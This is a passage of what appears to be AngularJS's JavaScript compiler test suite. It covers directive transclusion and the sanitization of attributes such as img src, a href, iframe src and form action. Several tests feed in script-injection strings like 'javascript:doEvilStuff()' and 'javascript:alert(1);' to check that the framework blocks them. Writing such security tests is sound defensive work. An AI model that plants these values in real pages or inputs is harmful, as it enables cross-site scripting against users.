          expect(log).toEqual('pre(); post(unicorn!)');
        });
      });
      it('should make the result of a transclusion available to the parent directive in post-linking phase' +
          '(templateUrl)', function() {
        // when compiling an async directive the transclusion is always processed before the directive
        // this is different compared to sync directive. delaying the transclusion makes little sense.
        module(function() {
          directive('trans', function(log) {
            return {
              transclude: true,
              templateUrl: 'trans.html',
              link: {
                pre: function($scope, $element) {
                  log('pre(' + $element.text() + ')');
                },
                post: function($scope, $element) {
                  log('post(' + $element.text() + ')');
                }
              }
            };
          });
        });
        inject(function(log, $rootScope, $compile, $templateCache) {
          $templateCache.put('trans.html', '<div ng-transclude></div>');
          element = $compile('<div trans><span>unicorn!</span></div>')($rootScope);
          $rootScope.$apply();
          expect(log).toEqual('pre(); post(unicorn!)');
        });
      });
      it('should make the result of a transclusion available to the parent *replace* directive in post-linking phase' +
          '(template)', function() {
        module(function() {
          directive('replacedTrans', function(log) {
            return {
              transclude: true,
              replace: true,
              template: '<div ng-transclude></div>',
              link: {
                pre: function($scope, $element) {
                  log('pre(' + $element.text() + ')');
                },
                post: function($scope, $element) {
                  log('post(' + $element.text() + ')');
                }
              }
            };
          });
        });
        inject(function(log, $rootScope, $compile) {
          element = $compile('<div replaced-trans><span>unicorn!</span></div>')($rootScope);
          $rootScope.$apply();
          expect(log).toEqual('pre(); post(unicorn!)');
        });
      });
      it('should make the result of a transclusion available to the parent *replace* directive in post-linking phase' +
          ' (templateUrl)', function() {
        module(function() {
          directive('replacedTrans', function(log) {
            return {
              transclude: true,
              replace: true,
              templateUrl: 'trans.html',
              link: {
                pre: function($scope, $element) {
                  log('pre(' + $element.text() + ')');
                },
                post: function($scope, $element) {
                  log('post(' + $element.text() + ')');
                }
              }
            };
          });
        });
        inject(function(log, $rootScope, $compile, $templateCache) {
          $templateCache.put('trans.html', '<div ng-transclude></div>');
          element = $compile('<div replaced-trans><span>unicorn!</span></div>')($rootScope);
          $rootScope.$apply();
          expect(log).toEqual('pre(); post(unicorn!)');
        });
      });
      it('should copy the directive controller to all clones', function() {
        var transcludeCtrl, cloneCount = 2;
        module(function() {
          directive('transclude', valueFn({
            transclude: 'content',
            controller: function($transclude) {
              transcludeCtrl = this;
            },
            link: function(scope, el, attr, ctrl, $transclude) {
              var i;
              for (i=0; i<cloneCount; i++) {
                $transclude(cloneAttach);
              }
              function cloneAttach(clone) {
                el.append(clone);
              }
            }
          }));
        });
        inject(function($compile) {
          element = $compile('<div transclude><span></span></div>')($rootScope);
          var children = element.children(), i;
          expect(transcludeCtrl).toBeDefined();
          expect(element.data('$transcludeController')).toBe(transcludeCtrl);
          for (i=0; i<cloneCount; i++) {
            expect(children.eq(i).data('$transcludeController')).toBeUndefined();
          }
        });
      });
      it('should provide the $transclude controller local as 5th argument to the pre and post-link function', function() {
        var ctrlTransclude, preLinkTransclude, postLinkTransclude;
        module(function() {
          directive('transclude', valueFn({
            transclude: 'content',
            controller: function($transclude) {
              ctrlTransclude = $transclude;
            },
            compile: function() {
              return {
                pre: function(scope, el, attr, ctrl, $transclude) {
                  preLinkTransclude = $transclude;
                },
                post: function(scope, el, attr, ctrl, $transclude) {
                  postLinkTransclude = $transclude;
                }
              };
            }
          }));
        });
        inject(function($compile) {
          element = $compile('<div transclude></div>')($rootScope);
          expect(ctrlTransclude).toBeDefined();
          expect(ctrlTransclude).toBe(preLinkTransclude);
          expect(ctrlTransclude).toBe(postLinkTransclude);
        });
      });
      it('should allow an optional scope argument in $transclude', function() {
        var capturedChildCtrl;
        module(function() {
          directive('transclude', valueFn({
            transclude: 'content',
            link: function(scope, element, attr, ctrl, $transclude) {
              $transclude(scope, function(clone) {
                element.append(clone);
              });
            }
          }));
        });
        inject(function($compile) {
          element = $compile('<div transclude>{{$id}}</div>')($rootScope);
          $rootScope.$apply();
          expect(element.text()).toBe('' + $rootScope.$id);
        });
      });
      it('should expose the directive controller to transcluded children', function() {
        var capturedChildCtrl;
        module(function() {
          directive('transclude', valueFn({
            transclude: 'content',
            controller: function() {
            },
            link: function(scope, element, attr, ctrl, $transclude) {
              $transclude(function(clone) {
                element.append(clone);
              });
            }
          }));
          directive('child', valueFn({
            require: '^transclude',
            link: function(scope, element, attr, ctrl) {
              capturedChildCtrl = ctrl;
            }
          }));
        });
        inject(function($compile) {
          element = $compile('<div transclude><div child></div></div>')($rootScope);
          expect(capturedChildCtrl).toBeTruthy();
        });
      });
      describe('nested transcludes', function() {
        beforeEach(module(function($compileProvider) {
          $compileProvider.directive('noop', valueFn({}));
          $compileProvider.directive('sync', valueFn({
            template: '<div ng-transclude></div>',
            transclude: true
          }));
          $compileProvider.directive('async', valueFn({
            templateUrl: 'async',
            transclude: true
          }));
          $compileProvider.directive('syncSync', valueFn({
            template: '<div noop><div sync><div ng-transclude></div></div></div>',
            transclude: true
          }));
          $compileProvider.directive('syncAsync', valueFn({
            template: '<div noop><div async><div ng-transclude></div></div></div>',
            transclude: true
          }));
          $compileProvider.directive('asyncSync', valueFn({
            templateUrl: 'asyncSync',
            transclude: true
          }));
          $compileProvider.directive('asyncAsync', valueFn({
            templateUrl: 'asyncAsync',
            transclude: true
          }));
        }));
        beforeEach(inject(function($templateCache) {
          $templateCache.put('async', '<div ng-transclude></div>');
          $templateCache.put('asyncSync', '<div noop><div sync><div ng-transclude></div></div></div>');
          $templateCache.put('asyncAsync', '<div noop><div async><div ng-transclude></div></div></div>');
        }));
        it('should allow nested transclude directives with sync template containing sync template', inject(function($compile, $rootScope) {
          element = $compile('<div sync-sync>transcluded content</div>')($rootScope);
          $rootScope.$digest();
          expect(element.text()).toEqual('transcluded content');
        }));
        it('should allow nested transclude directives with sync template containing async template', inject(function($compile, $rootScope) {
          element = $compile('<div sync-async>transcluded content</div>')($rootScope);
          $rootScope.$digest();
          expect(element.text()).toEqual('transcluded content');
        }));
        it('should allow nested transclude directives with async template containing sync template', inject(function($compile, $rootScope) {
          element = $compile('<div async-sync>transcluded content</div>')($rootScope);
          $rootScope.$digest();
          expect(element.text()).toEqual('transcluded content');
        }));
        it('should allow nested transclude directives with async template containing asynch template', inject(function($compile, $rootScope) {
          element = $compile('<div async-async>transcluded content</div>')($rootScope);
          $rootScope.$digest();
          expect(element.text()).toEqual('transcluded content');
        }));
        it('should not leak memory with nested transclusion', function() {
          var calcCacheSize = function() {
            var count = 0;
            for (var k in jqLite.cache) { ++count; }
            return count;
          };
          inject(function($compile, $rootScope) {
            var size;
            expect(calcCacheSize()).toEqual(0);
            element = jqLite('<div><ul><li ng-repeat="n in nums">{{n}} => <i ng-if="0 === n%2">Even</i><i ng-if="1 === n%2">Odd</i></li></ul></div>');
            $compile(element)($rootScope.$new());
            $rootScope.nums = [0,1,2];
            $rootScope.$apply();
            size = calcCacheSize();
            $rootScope.nums = [3,4,5];
            $rootScope.$apply();
            expect(calcCacheSize()).toEqual(size);
            element.remove();
            expect(calcCacheSize()).toEqual(0);
          });
        });
      });
      describe('nested isolated scope transcludes', function() {
        beforeEach(module(function($compileProvider) {
          $compileProvider.directive('trans', valueFn({
            restrict: 'E',
            template: '<div ng-transclude></div>',
            transclude: true
          }));
          $compileProvider.directive('transAsync', valueFn({
            restrict: 'E',
            templateUrl: 'transAsync',
            transclude: true
          }));
          $compileProvider.directive('iso', valueFn({
            restrict: 'E',
            transclude: true,
            template: '<trans><span ng-transclude></span></trans>',
            scope: {}
          }));
          $compileProvider.directive('isoAsync1', valueFn({
            restrict: 'E',
            transclude: true,
            template: '<trans-async><span ng-transclude></span></trans-async>',
            scope: {}
          }));
          $compileProvider.directive('isoAsync2', valueFn({
            restrict: 'E',
            transclude: true,
            templateUrl: 'isoAsync',
            scope: {}
          }));
        }));
        beforeEach(inject(function($templateCache) {
          $templateCache.put('transAsync', '<div ng-transclude></div>');
          $templateCache.put('isoAsync', '<trans-async><span ng-transclude></span></trans-async>');
        }));
        it('should pass the outer scope to the transclude on the isolated template sync-sync', inject(function($compile, $rootScope) {
          $rootScope.val = 'transcluded content';
          element = $compile('<iso><span ng-bind="val"></span></iso>')($rootScope);
          $rootScope.$digest();
          expect(element.text()).toEqual('transcluded content');
        }));
        it('should pass the outer scope to the transclude on the isolated template async-sync', inject(function($compile, $rootScope) {
          $rootScope.val = 'transcluded content';
          element = $compile('<iso-async1><span ng-bind="val"></span></iso-async1>')($rootScope);
          $rootScope.$digest();
          expect(element.text()).toEqual('transcluded content');
        }));
        it('should pass the outer scope to the transclude on the isolated template async-async', inject(function($compile, $rootScope) {
          $rootScope.val = 'transcluded content';
          element = $compile('<iso-async2><span ng-bind="val"></span></iso-async2>')($rootScope);
          $rootScope.$digest();
          expect(element.text()).toEqual('transcluded content');
        }));
      });
      describe('multiple siblings receiving transclusion', function() {
        it("should only receive transclude from parent", function() {
          module(function($compileProvider) {
            $compileProvider.directive('myExample', valueFn({
              scope: {},
              link: function link(scope, element, attrs) {
                var foo = element[0].querySelector('.foo');
                scope.children = angular.element(foo).children().length;
              },
              template: '<div>' +
                '<div>myExample {{children}}!</div>' +
                '<div ng-if="children">has children</div>' +
                '<div class="foo" ng-transclude></div>' +
              '</div>',
              transclude: true
            }));
          });
          inject(function($compile, $rootScope) {
            var element = $compile('<div my-example></div>')($rootScope);
            $rootScope.$digest();
            expect(element.text()).toEqual('myExample 0!');
            dealoc(element);
            element = $compile('<div my-example><p></p></div>')($rootScope);
            $rootScope.$digest();
            expect(element.text()).toEqual('myExample 1!has children');
            dealoc(element);
          });
        });
      });
    });
    describe('element transclusion', function() {
      it('should support basic element transclusion', function() {
        module(function() {
          directive('trans', function(log) {
            return {
              transclude: 'element',
              priority: 2,
              controller: function($transclude) { this.$transclude = $transclude; },
              compile: function(element, attrs, template) {
                log('compile: ' + angular.mock.dump(element));
                return function(scope, element, attrs, ctrl) {
                  log('link');
                  var cursor = element;
                  template(scope.$new(), function(clone) {cursor.after(cursor = clone);});
                  ctrl.$transclude(function(clone) {cursor.after(clone);});
                };
              }
            };
          });
        });
        inject(function(log, $rootScope, $compile) {
          element = $compile('<div><div high-log trans="text" log>{{$parent.$id}}-{{$id}};</div></div>')
              ($rootScope);
          $rootScope.$apply();
          expect(log).toEqual('compile: <!-- trans: text -->; link; LOG; LOG; HIGH');
          expect(element.text()).toEqual('1-2;1-3;');
        });
      });
      it('should only allow one element transclusion per element', function() {
        module(function() {
          directive('first', valueFn({
            transclude: 'element'
          }));
          directive('second', valueFn({
            transclude: 'element'
          }));
        });
        inject(function($compile) {
          expect(function() {
            $compile('<div first second></div>');
          }).toThrowMinErr('$compile', 'multidir', 'Multiple directives [first, second] asking for transclusion on: ' +
                  '<!-- first:  -->');
        });
      });
      it('should only allow one element transclusion per element when directives have different priorities', function() {
        // we restart compilation in this case and we need to remember the duplicates during the second compile
        // regression #3893
        module(function() {
          directive('first', valueFn({
            transclude: 'element',
            priority: 100
          }));
          directive('second', valueFn({
            transclude: 'element'
          }));
        });
        inject(function($compile) {
          expect(function() {
            $compile('<div first second></div>');
          }).toThrowMinErr('$compile', 'multidir', /Multiple directives \[first, second\] asking for transclusion on: <div .+/);
        });
      });
      it('should only allow one element transclusion per element when async replace directive is in the mix', function() {
        module(function() {
          directive('template', valueFn({
            templateUrl: 'template.html',
            replace: true
          }));
          directive('first', valueFn({
            transclude: 'element',
            priority: 100
          }));
          directive('second', valueFn({
            transclude: 'element'
          }));
        });
        inject(function($compile, $httpBackend) {
          $httpBackend.expectGET('template.html').respond('<p second>template.html</p>');
          $compile('<div template first></div>');
          expect(function() {
            $httpBackend.flush();
          }).toThrowMinErr('$compile', 'multidir', /Multiple directives \[first, second\] asking for transclusion on: <p .+/);
        });
      });
      it('should support transcluded element on root content', function() {
        var comment;
        module(function() {
          directive('transclude', valueFn({
            transclude: 'element',
            compile: function(element, attr, linker) {
              return function(scope, element, attr) {
                comment = element;
              };
            }
          }));
        });
        inject(function($compile, $rootScope) {
          var element = jqLite('<div>before<div transclude></div>after</div>').contents();
          expect(element.length).toEqual(3);
          expect(nodeName_(element[1])).toBe('div');
          $compile(element)($rootScope);
          expect(nodeName_(element[1])).toBe('#comment');
          expect(nodeName_(comment)).toBe('#comment');
        });
      });
      it('should terminate compilation only for element trasclusion', function() {
        module(function() {
          directive('elementTrans', function(log) {
            return {
              transclude: 'element',
              priority: 50,
              compile: log.fn('compile:elementTrans')
            };
          });
          directive('regularTrans', function(log) {
            return {
              transclude: true,
              priority: 50,
              compile: log.fn('compile:regularTrans')
            };
          });
        });
        inject(function(log, $compile, $rootScope) {
          $compile('<div><div element-trans log="elem"></div><div regular-trans log="regular"></div></div>')($rootScope);
          expect(log).toEqual('compile:elementTrans; compile:regularTrans; regular');
        });
      });
      it('should instantiate high priority controllers only once, but low priority ones each time we transclude',
          function() {
        module(function() {
          directive('elementTrans', function(log) {
            return {
              transclude: 'element',
              priority: 50,
              controller: function($transclude, $element) {
                log('controller:elementTrans');
                $transclude(function(clone) {
                  $element.after(clone);
                });
                $transclude(function(clone) {
                  $element.after(clone);
                });
                $transclude(function(clone) {
                  $element.after(clone);
                });
              }
            };
          });
          directive('normalDir', function(log) {
            return {
              controller: function() {
                log('controller:normalDir');
              }
            };
          });
        });
        inject(function($compile, $rootScope, log) {
          element = $compile('<div><div element-trans normal-dir></div></div>')($rootScope);
          expect(log).toEqual([
            'controller:elementTrans',
            'controller:normalDir',
            'controller:normalDir',
            'controller:normalDir'
          ]);
        });
      });
      it('should allow to access $transclude in the same directive', function() {
        var _$transclude;
        module(function() {
          directive('transclude', valueFn({
            transclude: 'element',
            controller: function($transclude) {
              _$transclude = $transclude;
            }
          }));
        });
        inject(function($compile) {
          element = $compile('<div transclude></div>')($rootScope);
          expect(_$transclude).toBeDefined();
        });
      });
      it('should copy the directive controller to all clones', function() {
        var transcludeCtrl, cloneCount = 2;
        module(function() {
          directive('transclude', valueFn({
            transclude: 'element',
            controller: function() {
              transcludeCtrl = this;
            },
            link: function(scope, el, attr, ctrl, $transclude) {
              var i;
              for (i=0; i<cloneCount; i++) {
                $transclude(cloneAttach);
              }
              function cloneAttach(clone) {
                el.after(clone);
              }
            }
          }));
        });
        inject(function($compile) {
          element = $compile('<div><div transclude></div></div>')($rootScope);
          var children = element.children(), i;
          for (i=0; i<cloneCount; i++) {
            expect(children.eq(i).data('$transcludeController')).toBe(transcludeCtrl);
          }
        });
      });
      it('should expose the directive controller to transcluded children', function() {
        var capturedTranscludeCtrl;
        module(function() {
          directive('transclude', valueFn({
            transclude: 'element',
            controller: function() {
            },
            link: function(scope, element, attr, ctrl, $transclude) {
              $transclude(scope, function(clone) {
                element.after(clone);
              });
            }
          }));
          directive('child', valueFn({
            require: '^transclude',
            link: function(scope, element, attr, ctrl) {
              capturedTranscludeCtrl = ctrl;
            }
          }));
        });
        inject(function($compile) {
          element = $compile('<div transclude><div child></div></div>')($rootScope);
          expect(capturedTranscludeCtrl).toBeTruthy();
        });
      });
      it('should allow access to $transclude in a templateUrl directive', function() {
        var transclude;
        module(function() {
          directive('template', valueFn({
            templateUrl: 'template.html',
            replace: true
          }));
          directive('transclude', valueFn({
            transclude: 'content',
            controller: function($transclude) {
              transclude = $transclude;
            }
          }));
        });
        inject(function($compile, $httpBackend) {
          $httpBackend.expectGET('template.html').respond('<div transclude></div>');
          element = $compile('<div template></div>')($rootScope);
          $httpBackend.flush();
          expect(transclude).toBeDefined();
        });
      });
      // issue #6006
      it('should link directive with $element as a comment node', function() {
        module(function($provide) {
          directive('innerAgain', function(log) {
            return {
              transclude: 'element',
              link: function(scope, element, attr, controllers, transclude) {
                log('innerAgain:'+lowercase(nodeName_(element))+':'+trim(element[0].data));
                transclude(scope, function(clone) {
                  element.parent().append(clone);
                });
              }
            };
          });
          directive('inner', function(log) {
            return {
              replace: true,
              templateUrl: 'inner.html',
              link: function(scope, element) {
                log('inner:'+lowercase(nodeName_(element))+':'+trim(element[0].data));
              }
            };
          });
          directive('outer', function(log) {
            return {
              transclude: 'element',
              link: function(scope, element, attrs, controllers, transclude) {
                log('outer:'+lowercase(nodeName_(element))+':'+trim(element[0].data));
                transclude(scope, function(clone) {
                  element.parent().append(clone);
                });
              }
            };
          });
        });
        inject(function(log, $compile, $rootScope, $templateCache) {
          $templateCache.put('inner.html', '<div inner-again><p>Content</p></div>');
          element = $compile('<div><div outer><div inner></div></div></div>')($rootScope);
          $rootScope.$digest();
          var child = element.children();
          expect(log.toArray()).toEqual([
            "outer:#comment:outer:",
            "innerAgain:#comment:innerAgain:",
            "inner:#comment:innerAgain:"
          ]);
          expect(child.length).toBe(1);
          expect(child.contents().length).toBe(2);
          expect(lowercase(nodeName_(child.contents().eq(0)))).toBe('#comment');
          expect(lowercase(nodeName_(child.contents().eq(1)))).toBe('div');
        });
      });
    });
    it('should safely create transclude comment node and not break with "-->"',
        inject(function($rootScope) {
      // see: https://github.com/angular/angular.js/issues/1740
      element = $compile('<ul><li ng-repeat="item in [\'-->\', \'x\']">{{item}}|</li></ul>')($rootScope);
      $rootScope.$digest();
      expect(element.text()).toBe('-->|x|');
    }));
    // See https://github.com/angular/angular.js/issues/7183
    it("should pass transclusion through to template of a 'replace' directive", function() {
      module(function() {
        directive('transSync', function() {
          return {
            transclude: true,
            link: function(scope, element, attr, ctrl, transclude) {
              expect(transclude).toEqual(jasmine.any(Function));
              transclude(function(child) { element.append(child); });
            }
          };
        });
        directive('trans', function($timeout) {
          return {
            transclude: true,
            link: function(scope, element, attrs, ctrl, transclude) {
              // We use timeout here to simulate how ng-if works
              $timeout(function()  {
                transclude(function(child) { element.append(child); });
              });
            }
          };
        });
        directive('replaceWithTemplate', function() {
          return {
            templateUrl: "template.html",
            replace: true
          };
        });
      });
      inject(function($compile, $rootScope, $templateCache, $timeout) {
        $templateCache.put('template.html', '<div trans-sync>Content To Be Transcluded</div>');
        expect(function() {
          element = $compile('<div><div trans><div replace-with-template></div></div></div>')($rootScope);
          $timeout.flush();
        }).not.toThrow();
        expect(element.text()).toEqual('Content To Be Transcluded');
      });
    });
  });
  describe('img[src] sanitization', function() {
    it('should NOT require trusted values for img src', inject(function($rootScope, $compile, $sce) {
      element = $compile('<img src="{{testUrl}}"></img>')($rootScope);
      $rootScope.testUrl = 'http://example.com/image.png';
      $rootScope.$digest();
      expect(element.attr('src')).toEqual('http://example.com/image.png');
      // But it should accept trusted values anyway.
      $rootScope.testUrl = $sce.trustAsUrl('http://example.com/image2.png');
      $rootScope.$digest();
      expect(element.attr('src')).toEqual('http://example.com/image2.png');
    }));
    it('should not sanitize attributes other than src', inject(function($compile, $rootScope) {
      /* jshint scripturl:true */
      element = $compile('<img title="{{testUrl}}"></img>')($rootScope);
      $rootScope.testUrl = "javascript:doEvilStuff()";
      $rootScope.$apply();
      expect(element.attr('title')).toBe('javascript:doEvilStuff()');
    }));
    it('should use $$sanitizeUriProvider for reconfiguration of the src whitelist', function() {
      module(function($compileProvider, $$sanitizeUriProvider) {
        var newRe = /javascript:/,
          returnVal;
        expect($compileProvider.imgSrcSanitizationWhitelist()).toBe($$sanitizeUriProvider.imgSrcSanitizationWhitelist());
        returnVal = $compileProvider.imgSrcSanitizationWhitelist(newRe);
        expect(returnVal).toBe($compileProvider);
        expect($$sanitizeUriProvider.imgSrcSanitizationWhitelist()).toBe(newRe);
        expect($compileProvider.imgSrcSanitizationWhitelist()).toBe(newRe);
      });
      inject(function() {
        // needed to the module definition above is run...
      });
    });
    it('should use $$sanitizeUri', function() {
      var $$sanitizeUri = jasmine.createSpy('$$sanitizeUri');
      module(function($provide) {
        $provide.value('$$sanitizeUri', $$sanitizeUri);
      });
      inject(function($compile, $rootScope) {
        element = $compile('<img src="{{testUrl}}"></img>')($rootScope);
        $rootScope.testUrl = "someUrl";
        $$sanitizeUri.andReturn('someSanitizedUrl');
        $rootScope.$apply();
        expect(element.attr('src')).toBe('someSanitizedUrl');
        expect($$sanitizeUri).toHaveBeenCalledWith($rootScope.testUrl, true);
      });
    });
  });
  describe('a[href] sanitization', function() {
    it('should not sanitize href on elements other than anchor', inject(function($compile, $rootScope) {
      /* jshint scripturl:true */
      element = $compile('<div href="{{testUrl}}"></div>')($rootScope);
      $rootScope.testUrl = "javascript:doEvilStuff()";
      $rootScope.$apply();
      expect(element.attr('href')).toBe('javascript:doEvilStuff()');
    }));
    it('should not sanitize attributes other than href', inject(function($compile, $rootScope) {
      /* jshint scripturl:true */
      element = $compile('<a title="{{testUrl}}"></a>')($rootScope);
      $rootScope.testUrl = "javascript:doEvilStuff()";
      $rootScope.$apply();
      expect(element.attr('title')).toBe('javascript:doEvilStuff()');
    }));
    it('should use $$sanitizeUriProvider for reconfiguration of the href whitelist', function() {
      module(function($compileProvider, $$sanitizeUriProvider) {
        var newRe = /javascript:/,
          returnVal;
        expect($compileProvider.aHrefSanitizationWhitelist()).toBe($$sanitizeUriProvider.aHrefSanitizationWhitelist());
        returnVal = $compileProvider.aHrefSanitizationWhitelist(newRe);
        expect(returnVal).toBe($compileProvider);
        expect($$sanitizeUriProvider.aHrefSanitizationWhitelist()).toBe(newRe);
        expect($compileProvider.aHrefSanitizationWhitelist()).toBe(newRe);
      });
      inject(function() {
        // needed to the module definition above is run...
      });
    });
    it('should use $$sanitizeUri', function() {
      var $$sanitizeUri = jasmine.createSpy('$$sanitizeUri');
      module(function($provide) {
        $provide.value('$$sanitizeUri', $$sanitizeUri);
      });
      inject(function($compile, $rootScope) {
        element = $compile('<a href="{{testUrl}}"></a>')($rootScope);
        $rootScope.testUrl = "someUrl";
        $$sanitizeUri.andReturn('someSanitizedUrl');
        $rootScope.$apply();
        expect(element.attr('href')).toBe('someSanitizedUrl');
        expect($$sanitizeUri).toHaveBeenCalledWith($rootScope.testUrl, false);
      });
    });
  });
  describe('interpolation on HTML DOM event handler attributes onclick, onXYZ, formaction', function() {
    it('should disallow interpolation on onclick', inject(function($compile, $rootScope) {
      // All interpolations are disallowed.
      $rootScope.onClickJs = "";
      expect(function() {
          $compile('<button onclick="{{onClickJs}}"></script>')($rootScope);
        }).toThrowMinErr(
          "$compile", "nodomevents", "Interpolations for HTML DOM event attributes are disallowed.  " +
          "Please use the ng- versions (such as ng-click instead of onclick) instead.");
      expect(function() {
          $compile('<button ONCLICK="{{onClickJs}}"></script>')($rootScope);
        }).toThrowMinErr(
          "$compile", "nodomevents", "Interpolations for HTML DOM event attributes are disallowed.  " +
          "Please use the ng- versions (such as ng-click instead of onclick) instead.");
      expect(function() {
          $compile('<button ng-attr-onclick="{{onClickJs}}"></script>')($rootScope);
        }).toThrowMinErr(
          "$compile", "nodomevents", "Interpolations for HTML DOM event attributes are disallowed.  " +
          "Please use the ng- versions (such as ng-click instead of onclick) instead.");
    }));
    it('should pass through arbitrary values on onXYZ event attributes that contain a hyphen', inject(function($compile, $rootScope) {
      /* jshint scripturl:true */
      element = $compile('<button on-click="{{onClickJs}}"></script>')($rootScope);
      $rootScope.onClickJs = 'javascript:doSomething()';
      $rootScope.$apply();
      expect(element.attr('on-click')).toEqual('javascript:doSomething()');
    }));
    it('should pass through arbitrary values on "on" and "data-on" attributes', inject(function($compile, $rootScope) {
      element = $compile('<button data-on="{{dataOnVar}}"></script>')($rootScope);
      $rootScope.dataOnVar = 'data-on text';
      $rootScope.$apply();
      expect(element.attr('data-on')).toEqual('data-on text');
      element = $compile('<button on="{{onVar}}"></script>')($rootScope);
      $rootScope.onVar = 'on text';
      $rootScope.$apply();
      expect(element.attr('on')).toEqual('on text');
    }));
  });
  describe('iframe[src]', function() {
    it('should pass through src attributes for the same domain', inject(function($compile, $rootScope, $sce) {
      element = $compile('<iframe src="{{testUrl}}"></iframe>')($rootScope);
      $rootScope.testUrl = "different_page";
      $rootScope.$apply();
      expect(element.attr('src')).toEqual('different_page');
    }));
    it('should clear out src attributes for a different domain', inject(function($compile, $rootScope, $sce) {
      element = $compile('<iframe src="{{testUrl}}"></iframe>')($rootScope);
      $rootScope.testUrl = "http://a.different.domain.example.com";
      expect(function() { $rootScope.$apply(); }).toThrowMinErr(
          "$interpolate", "interr", "Can't interpolate: {{testUrl}}\nError: [$sce:insecurl] Blocked " +
          "loading resource from url not allowed by $sceDelegate policy.  URL: " +
          "http://a.different.domain.example.com");
    }));
    it('should clear out JS src attributes', inject(function($compile, $rootScope, $sce) {
      /* jshint scripturl:true */
      element = $compile('<iframe src="{{testUrl}}"></iframe>')($rootScope);
      $rootScope.testUrl = "javascript:alert(1);";
      expect(function() { $rootScope.$apply(); }).toThrowMinErr(
          "$interpolate", "interr", "Can't interpolate: {{testUrl}}\nError: [$sce:insecurl] Blocked " +
          "loading resource from url not allowed by $sceDelegate policy.  URL: " +
          "javascript:alert(1);");
    }));
    it('should clear out non-resource_url src attributes', inject(function($compile, $rootScope, $sce) {
      /* jshint scripturl:true */
      element = $compile('<iframe src="{{testUrl}}"></iframe>')($rootScope);
      $rootScope.testUrl = $sce.trustAsUrl("javascript:doTrustedStuff()");
      expect($rootScope.$apply).toThrowMinErr(
          "$interpolate", "interr", "Can't interpolate: {{testUrl}}\nError: [$sce:insecurl] Blocked " +
          "loading resource from url not allowed by $sceDelegate policy.  URL: javascript:doTrustedStuff()");
    }));
    it('should pass through $sce.trustAs() values in src attributes', inject(function($compile, $rootScope, $sce) {
      /* jshint scripturl:true */
      element = $compile('<iframe src="{{testUrl}}"></iframe>')($rootScope);
      $rootScope.testUrl = $sce.trustAsResourceUrl("javascript:doTrustedStuff()");
      $rootScope.$apply();
      expect(element.attr('src')).toEqual('javascript:doTrustedStuff()');
    }));
  });
  describe('form[action]', function() {
    it('should pass through action attribute for the same domain', inject(function($compile, $rootScope, $sce) {
      element = $compile('<form action="{{testUrl}}"></form>')($rootScope);
      $rootScope.testUrl = "different_page";
      $rootScope.$apply();
      expect(element.attr('action')).toEqual('different_page');
    }));
    it('should clear out action attribute for a different domain', inject(function($compile, $rootScope, $sce) {
      element = $compile('<form action="{{testUrl}}"></form>')($rootScope);
      $rootScope.testUrl = "http://a.different.domain.example.com";
      expect(function() { $rootScope.$apply(); }).toThrowMinErr(
          "$interpolate", "interr", "Can't interpolate: {{testUrl}}\nError: [$sce:insecurl] Blocked " +
          "loading resource from url not allowed by $sceDelegate policy.  URL: " +
          "http://a.different.domain.example.com");
    }));
    it('should clear out JS action attribute', inject(function($compile, $rootScope, $sce) {
      /* jshint scripturl:true */
      element = $compile('<form action="{{testUrl}}"></form>')($rootScope);
      $rootScope.testUrl = "javascript:alert(1);";
      expect(function() { $rootScope.$apply(); }).toThrowMinErr(
          "$interpolate", "interr", "Can't interpolate: {{testUrl}}\nError: [$sce:insecurl] Blocked " +
          "loading resource from url not allowed by $sceDelegate policy.  URL: " +
          "javascript:alert(1);");
    }));
    it('should clear out non-resource_url action attribute', inject(function($compile, $rootScope, $sce) {
      /* jshint scripturl:true */
      element = $compile('<form action="{{testUrl}}"></form>')($rootScope);
      $rootScope.testUrl = $sce.trustAsUrl("javascript:doTrustedStuff()");
      expect($rootScope.$apply).toThrowMinErr(
          "$interpolate", "interr", "Can't interpolate: {{testUrl}}\nError: [$sce:insecurl] Blocked " +
          "loading resource from url not allowed by $sceDelegate policy.  URL: javascript:doTrustedStuff()");
    }));
    it('should pass through $sce.trustAs() values in action attribute', inject(function($compile, $rootScope, $sce) {
      /* jshint scripturl:true */
      element = $compile('<form action="{{testUrl}}"></form>')($rootScope);
      $rootScope.testUrl = $sce.trustAsResourceUrl("javascript:doTrustedStuff()");
      $rootScope.$apply();
      expect(element.attr('action')).toEqual('javascript:doTrustedStuff()');
    }));
  });
  if (!msie || msie >= 11) {
    describe('iframe[srcdoc]', function() {
      it('should NOT set iframe contents for untrusted values', inject(function($compile, $rootScope, $sce) {
        element = $compile('<iframe srcdoc="{{html}}"></iframe>')($rootScope);
        $rootScope.html = '<div onclick="">hello</div>';
        expect(function() { $rootScope.$digest(); }).toThrowMinErr('$interpolate', 'interr', new RegExp(
            /Can't interpolate: {{html}}\n/.source +
            /[^[]*\[\$sce:unsafe\] Attempting to use an unsafe value in a safe context./.source));
      }));
      it('should NOT set html for wrongly typed values', inject(function($rootScope, $compile, $sce) {
        element = $compile('<iframe srcdoc="{{html}}"></iframe>')($rootScope);
        $rootScope.html = $sce.trustAsCss('<div onclick="">hello</div>');
        expect(function() { $rootScope.$digest(); }).toThrowMinErr('$interpolate', 'interr', new RegExp(
            /Can't interpolate: {{html}}\n/.source +
            /[^[]*\[\$sce:unsafe\] Attempting to use an unsafe value in a safe context./.source));
      }));
      it('should set html for trusted values', inject(function($rootScope, $compile, $sce) {
        element = $compile('<iframe srcdoc="{{html}}"></iframe>')($rootScope);
        $rootScope.html = $sce.trustAsHtml('<div onclick="">hello</div>');
        $rootScope.$digest();
        expect(angular.lowercase(element.attr('srcdoc'))).toEqual('<div onclick="">hello</div>');
      }));
    });
  }
  describe('ngAttr* attribute binding', function() {
    it('should bind after digest but not before', inject(function($compile, $rootScope) {
      $rootScope.name = "Misko";
      element = $compile('<span ng-attr-test="{{name}}"></span>')($rootScope);
      expect(element.attr('test')).toBeUndefined();
      $rootScope.$digest();
      expect(element.attr('test')).toBe('Misko');
    }));
    it('should bind after digest but not before when after overridden attribute', inject(function($compile, $rootScope) {
      $rootScope.name = "Misko";
      element = $compile('<span test="123" ng-attr-test="{{name}}"></span>')($rootScope);
      expect(element.attr('test')).toBe('123');
      $rootScope.$digest();
      expect(element.attr('test')).toBe('Misko');
    }));
    it('should bind after digest but not before when before overridden attribute', inject(function($compile, $rootScope) {
      $rootScope.name = "Misko";
      element = $compile('<span ng-attr-test="{{name}}" test="123"></span>')($rootScope);
      expect(element.attr('test')).toBe('123');
      $rootScope.$digest();
      expect(element.attr('test')).toBe('Misko');
    }));
    describe('in directive', function() {
      beforeEach(module(function() {
        directive('syncTest', function(log) {
          return {
            link: {
